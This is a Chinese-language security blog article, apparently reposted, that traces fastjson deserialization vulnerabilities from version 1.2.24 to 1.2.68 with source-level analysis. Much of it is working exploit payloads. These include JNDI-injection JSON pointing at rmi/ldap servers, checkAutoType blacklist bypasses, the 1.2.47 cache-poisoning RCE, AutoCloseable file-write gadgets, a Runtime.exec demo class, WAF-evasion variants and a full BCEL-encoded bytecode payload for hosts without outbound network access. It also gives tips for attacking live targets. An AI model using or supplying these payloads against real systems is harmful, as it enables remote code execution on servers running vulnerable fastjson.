fastjson反序列化漏洞始末


fastjson反序列化的一些前置知識

我們都知道fastjson觸發漏洞的點在setter或者getter,以及fastjson反序列化存在parse和parseObject兩個方法,在我最開始了解fastjson反序列化時看到一篇文章給出了一個說法: "parse只觸發setter,parseObject同時觸發getter和setter"

真的是這樣嗎?我測試了一下就發現這個說法是籠統並且有問題的,parseObject(String text, Class clazz)在這個例子里就只觸發了setter

在先知看到了一個總結 https://xz.aliyun.com/t/7846#toc-9

  • parseObject(String text, Class<T> clazz) ,構造方法 + setter + 滿足條件額外的getter
  • JSONObject parseObject(String text),構造方法 + setter + getter + 滿足條件額外的getter
  • parse(String text),構造方法 + setter + 滿足條件額外的getter

但據我后面看四哥的文章可知,某些方式可使得不滿足”條件“的getter也可被調用

參見 http://scz.617.cn:8/web/202005121629.txt?continueFlag=eceb82ec993378c1eba9773e1cc1b2c9

bcel鏈

這個是因為JSONObject.toString直接調用了toJSONString導致會調用所有getter,這里不再仔細分析,1.2.37以后不能適用

$ref

當fastjson版本>=1.2.36時,我們可以使用$ref的方式來調用任意的getter,比如使用如下代碼成功調用getName方法

跟一下源碼,可以發現到DefaultJSONParser流程中會判斷key是否為$ref,然后調用 this.addResolveTask

          } else if (key == "$ref" && context != null && (object == null || object.size() == 0) && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
                        lexer.nextToken(4);
                        if (lexer.token() != 4) {
                            throw new JSONException("illegal ref, " + JSONToken.name(lexer.token()));
                        }

                        typeName = lexer.stringVal();
                        ...
                        ...
                                } else {
                                    this.addResolveTask(new DefaultJSONParser.ResolveTask(rootContext, typeName));
                                    this.setResolveStatus(1);

最后在Json#parse中去處理這個ResolveTask

一路跟進,最終在FieldInfo#get方法中判斷method是否存在,如果存在就反射調用,即調用getName方法

fastjson<1.2.25分析:

存在兩條payload

1.利用jndi注入的JdbcRowSetImpl利用鏈

2.利用definClass傳入惡意字節碼的TemplatesImpl利用鏈

Payload1:以ldap方式舉例,因為rmi利用方式在更早的jdk版本中被禁用

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

雖然存在高版本中jndi注入存在codebase限制,但是可以繞過,需要環境中存在可以利用的反序列化gadget,這個利用辦法是編寫一個ldapserver,並設置其javaSerializedData屬性為gadget序列化后的數據,有利用鏈就不受codebase的限制,原理為如下代碼,當存在JAVA_ATTRIBUTES[1]即javaSerializedData這個屬性時,會調用deserializeObject

static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try {
      Attribute var1;
      if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
        ClassLoader var3 = helper.getURLClassLoader(var2);
        return deserializeObject((byte[])((byte[])var1.get()), var3);
      } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
        return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
      } else {
        var1 = var0.get(JAVA_ATTRIBUTES[0]);
        return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
      }
    } catch (IOException var5) {
      NamingException var4 = new NamingException();
      var4.setRootCause(var5);
      throw var4;
    }
}

這條鏈就不分析了,到處都是分析

Payload2:_bytecodes字段傳入編譯好的惡意類的base64編碼(在惡意類構造方法中寫入惡意代碼)

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":[""],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

這個payload存在一些字段的細節,可查看 https://xz.aliyun.com/t/8979?page=1#toc-6

這條鏈其實就是用的ysoserial中的jdk7u21,但這個利用鏈存在限制,因為我們的poc中存在private屬性,所以在parseObject時需要設置Feature.SupportNonPublicField,一般情況都不會設置這個,所以利用面比較窄

fastjson<1.2.48分析:

在1.2.25以后,fastjson不再直接構建javabean,而是引入了一個checkAutoType安全機制

1.2.25以及之后的版本中,存在一個autoTypeSupport屬性,其值默認False。要注意的是,autoTypeSupport為false並不代表fastjson完全不再支持對@type的解析,該值只是影響到了在代碼流程進入到了checkAutoType機制后的走向,並且在某種情況下即使要反序列化的json字符串中存在@type字段也不會進入到checkAutoType代碼流程。

另外從1.2.42版本開始,為了防止對黑名單進行分析繞過,在ParserConfig.java中可以看到黑名單改為了哈希黑名單,目前已經破解出來的黑名單見:https://github.com/LeadroyaL/fastjson-blacklist

不進入checkAutoType的情況:

1.不存在@type字段

2.@type指定的類與parseObject(String text, Class<T> clazz)中Class<T> clazz)指定的類是一樣的

比如如下這個poc即使在1.2.48也可以執行成功,因為根本沒有進入到checkAutoType代碼流程

checkAutoType繞過(需要autoTypeSupport為true)

吐槽一下,這種繞過迷惑了不少人,見過有人拿着其中一個問我為什么打不動1.2.25的(因為並沒繞過autoTypeSupport的默認值啊!)

//1.2.41 bypass
String payload = "{\"@type\":\"Lcom.sun.rowset.RowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
        " \"autoCommit\":true}";
//1.2.43
String payload3 = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true]} ";//1.2.43
//1.2.42
String payload2 = "{\"@type\":\"LL\u0063\u006f\u006d.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
        " \"autoCommit\":true}";

細看這幾個payload可以發現是很類似的,都是在com.sun.rowset.JdbcRowSetImpl的前后添加了一些字符

觸發點主要是在typeutils的loadClass中檢測className是否以L開頭;結尾或者以[開頭,如果是就截取它們再返回類名

而這一步是在黑名單判斷之后,黑名單判斷時以L開頭的類名並未觸發黑名單,因此繞過了黑名單機制

其實這個邏輯順序導致的漏洞在很多地方都有類似的情況,比如某cms對sql注入字符串按順序置空,先檢測select字符串再檢測and字符串就導致了selandect這種字符串繞過了邏輯。

為什么這個payload在默認情況還是會報autoType not support呢?因為checkAutoType其實是一個先白后黑名單機制,如果能過白名單或者滿足一些條件,代碼會在前面直接return。如果沒有繞過白名單或者說滿足直接return的條件,只是繞過了后續的黑名單,那么代碼就會走到下面這個流程,這種情況下只要autoTypeSupport為false,都會拋出異常。

除了這幾個還有第三方庫的繞過,就不寫了,反正它的核心思想就是找到一個繞過黑名單的類可以觸發攻擊操作的

無視autoType通殺rce

前面說了,要想通殺,只繞過黑名單是不行的,必須在前面搞搞事情,讓代碼流程能直接走到return。

先看看通殺payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}

我們先直接下斷點可以看到,當流程走到typeName是com.sun.rowset.JdbcRowSetImpl時,TypeUtils.getClassFromMapping竟然存在,導致clazz不為空

而clazz不為空導致在進入下個流程時直接return了,沒有走后面黑名單檢測和判斷autoTypeSupport為false的代碼,達到了通殺rce的效果。

這是因為當這個payload的@type為java.lang.Class時,val為com.sun.rowset.JdbcRowSetImpl,而在檢測完java.lang.Class后代碼流程進入到了MiscCodec的deserialze方法然后進入了以下代碼

跟到loadClass就會發現代碼將className,也就是strVal參數,即com.sun.rowset.JdbcRowSetImpl放入了mappings,從而導致等到com.sun.rowset.JdbcRowSetImpl進入到checkAutoType時TypeUtils.getClassFromMapping取到了值繼而產生了前文所說的直接return導致繞過通殺

通殺rce的版本差異

1.2.47這個通殺payload其實在1.2.25-1.2.32 autoTypeSupport為true(默認為false,影響很小)的情況下反而不能利用,為什么呢,調試一下1.2.31的代碼可以看到在autoTypeSupport為true的情況下會先進入一個黑名單檢測,而這里com.sun.rowset.JdbcRowSetImpl是在黑名單里面的,所以會拋出異常

1.2.25-1.2.32:

再來看看不受影響的1.2.33-1.2.47,以1.2.41舉例,可以看到這里的黑名單檢測拋出異常多了一個條件是判斷com.sun.rowset.JdbcRowSetImpl是不是在緩存里,如果不在才會拋出異常,前面的通殺解析也寫清楚了,這是在的。

1.2.33-1.2.47:

注:我在互聯網搜了一下發現雖然默認為false,但是還是有不少開發會有業務需求改成true,如果確定版本在1.2.25-1.2.32之間用通殺rce打不動就可以用前面說的true情況下的繞過來打。

fastjson<1.2.69分析:

在1.2.48-1.2.69之間出過一些autoTypeSupport為true的繞過,以及在1.2.68時的通殺繞過,所以也分成兩段來分析

checkAutoType繞過(需要autoTypeSupport為true)

其實在前面1.2.47分析的很清楚了,需要autoTypeSupport為true的情況的繞過無非就是對黑名單的繞過,比較麻煩的就是因為1.2.42以后黑名單改為了哈希黑名單,所以需要加密碰撞去檢測黑名單中到底有哪些類,前面也說了已經破解出來的見 https://github.com/LeadroyaL/fastjson-blacklist

在網上找到了一些payload

fastjson <1.2.62

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}"

fastjson<=1.2.66

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

原理就不分析了(因為就只是繞過黑名單),但是這些有autoType的限制,以及都是第三方庫,限制還是很大的,隨便打一發提示autoType not support也就意味着沒戲了,就算不提示也還得有這個依賴才行,總之就是比較雞肋。

無視autoType

在1.2.68版本又爆出了一個可以繞過autoType的漏洞,但這個漏洞沒有1.2.47的通用,原因是1.2.47那個rce是繞過了黑名單的,而這個沒有。

這個繞過的原理是什么呢,舉一個例子吧,假設我的payload 是這個

{\"@type\":\"java.lang.AutoCloseable\", \"@type\":\"fastjson68test\", \"cmd\":\"open /Applications/Calculator.app\"}

那么在代碼環境里必須存在一個這樣的fastjson68test類,需要滿足

1.實現或者繼承AutoCloseable

2.不在黑名單里

3.構造函數或者setter/getter中存在可利用的惡意操作

代碼如下

import java.io.IOException;
public class fastjson68test implements AutoCloseable{


    public fastjson68test(String cmd){
        try{
            Runtime.getRuntime().exec(cmd);
        }catch (IOException e){
            e.printStackTrace();
        }
    }
    @Override
    public void close() throws Exception {

    }
}

最后在checkAutoType方法的這個位置return從而繞過autoTypeSupport

可以看到這里滿足的條件是存在expectClass(也就是AutoCloseable),clazz(也就是fastjson68test)是expectClass的實現類,並且已經通過了前面的黑名單檢測。

那么這個expectClass又有什么要求和限制呢?假設這個是Object類,豈不是有着更多操作的空間?fastjson在前面對expectClass做了判斷,需要滿足以下條件:

expectClass != Object.class && expectClass != Serializable.class && expectClass != Cloneable.class && expectClass != Closeable.class && expectClass != EventListener.class && expectClass != Iterable.class && expectClass != Collection.class

當然,也不是所有除此以外的類都可以做expectClass,別忘了expectClass也需要通過checkAutoType的檢測,因此其條件是在白名單或者在緩存mapping中。

至於為什么當fastjson68test進入checkAutoType時expectClass有值且是AutoCloseable,則是當@type是AutoCloseable時其通過了checkAutoType以后調用了JavaBeanDeserializer#deserialze並在其中完成賦值,之后再調用checkAutoType對fastjson68test進行校驗。

原理分析至此就完了,如果要挖掘通用鏈,那么就是在AutoCloseable,或者其他滿足條件的expectClass的子類/實現類中去尋找敏感操作。

找了好多篇文章都幾乎沒有看到公開的,只有一個適用於jdk11以上版本的寫文件的payload:

https://rmb122.com/2020/06/12/fastjson-1-2-68-反序列化漏洞-gadgets-挖掘筆記/

{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}

后來看到四哥發的一個第三方庫的payload:

https://mp.weixin.qq.com/s/GvR7ZXBtqDUUb3jXYYUexg

{
    'stream':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'java.io.FileOutputStream',
        'file':'/tmp/nonexist',
        'append':false
    },
    'writer':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'org.apache.solr.common.util.FastOutputStream',
        'tempBuffer':'SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=',
        'sink':
        {
            '$ref':'$.stream'
        },
        'start':38
    },
    'close':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'org.iq80.snappy.SnappyOutputStream',
        'out':
        {
            '$ref':'$.writer'
        }
    }
}

一個修改了rmb122的適用於jdk8/10的(看情況,我是macOS、jdk8u201,不行)

https://mp.weixin.qq.com/s/wdOb5ESfbkMSfdDlRvOg-g

{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

順便說一句,四哥每次吐槽都正合我想法:)

不出網&dnslog&繞過waf

dnslog

dnslog是為了檢測是否是fastjson反序列化,有dnslog不代表有洞,就跟ysoserial的urldns一個作用,只是判斷是否存在反序列化點

https://gv7.me/articles/2020/several-ways-to-detect-fastjson-through-dnslog/

{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

繞過waf

這一塊我沒有研究,不過在先知的這篇文章里提到一些tips https://xz.aliyun.com/t/7568

比如針對@type的變形@\x74ype和對payload的fuzz,比如這個例子:

{"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}

可以按照這篇文章的思路繼續做fuzz探測

不出網回顯

我們常用的payload是基於jndi注入的,如果遇上不出網的情況就沒轍

BasicDataSource攻擊鏈 becl

Fastjson<=1.2.24

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}


1.2.33<=fastjson<=12.36

{
    "name":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL..."
            }
        } : "ddd"
    }
}

1.2.37<=fastjson<=1.2.47

{
    "name":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "y": {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$..",

                     "$ref": "$.x.y.c.connection"
            }
        }
    }
}

為何1.2.25-1.2.32無法回顯,已在前面1.2.47的通殺rce的版本差異fastjson反序列化前置知識的$ref觸發get中進行了分析。

2023.4.18更新

1.2.25-1.2.32 不出網利用paylod
該pyaload適用於1.2.25-1.2.36
原理依然用的是JSONObject所以不適用於1.2.37及以上,通過指定$ref為..完成賦值,這樣就不會出現原來的@type指定期望類繞不過黑名單的問題

{
  "friend":
  {
       "a": {
                "@type": "java.lang.Class",
                "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
               },
        "b": {
                 "@type" : "java.lang.Class",
                 "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
              }
   },
   "x":{
          "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
          "x":
            {
              "x":{
                {
                  "@type": "com.alibaba.fastjson.JSONObject",
                   "c":
                   {
                   "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
                   "driverClassLoader": {"$ref": ".." },
                   "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$U$9cM$9c86$e6$a3$a1$d0$d2$cfPJ$hZA$O$3d$G$f5$82$e8$a5n$a9$9a$K$O$3dm$b6$ab$b0$e0$d8$96$b3A$fc$a3$9e$b9$b4$88$D$3f$80$l$85$3a$eb$a2$E$J$y$bd$7d$7e$b3$f3$de$cc$ee$5e$5d_$5c$C$f8$807$n$7c$ac$84x$82$a7$N$3cs$f9$b9$8f$X$3e$5e$fah$J$d4$b7Mj$ecG$81j$7bc_$c0$db$c9$7ei$81$f9$d8$a4$fa$ebx$d8$d7$c5$P$d9O$884$e3L$c9d_$W$c6$d57$a0g$P$cd$883$e2$dd$T$93tY$P$a5I$F$96$db$3f$e3$py$o$3b$89L$H$9d$9e$zL$3a$e8$96$d3e1$m$7f$f1$9em$81p$f7T$e9$dc$9a$y$r$a5$b1$ad$92$hc$b3$3d$x$d5$f1$X$99$97$a2$b4Nj$_$h$XJ$7f2$ceD$e0$c4$b7$dc$c0$I$N$E$3eV$p$bc$c2$gmd$b9N$5b$9b$b2$b5$p$T5N$a4$cd$8a$z$99$e7$R$5ec$9d$s$a6$W$s$c2t$e8$86$J$yL7$f7$faGZY$81$HS$e8$fb8$b5fH$e9p$a0$ed$a4Xjo$c4w8$eeR$f4$a9V$Co$db$f7$dc$c9$z$e8$5b$91$v$3d$gu$b1$8a$3a$l$cc$7dU$Iw$o$ae$n$ab$O$b3$60$ae$bd$fb$Lq$c6$9f$Kf$b8$d6KP$m$e2$g$fd$t$60$Ws$cc$B$e6$b1$40$96k$7e_rp$b71$ba$d5$c8C$a2$c9$bc$c8$f0X$d5$a8$fep$a2$bf$c7$3e$c7$9a$3bG$a5Y$fd$D$ef$e07$bc$cfg$r$WpB$8d$7e$dd$dc$s$7b$5d$7f$c0SD$a5$99F$a9Qa$y1$7cTb$l$cbN$eeQ$J$3f$fe$H$ca$ebX$I$ab$C$A$A"}}:"ddd"
                   }
             }
       }
}

該payload來源於以下參考,並進行修改,原payload存在問題

參考: Java安全攻防之老版本Fastjson的一些不出網利用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM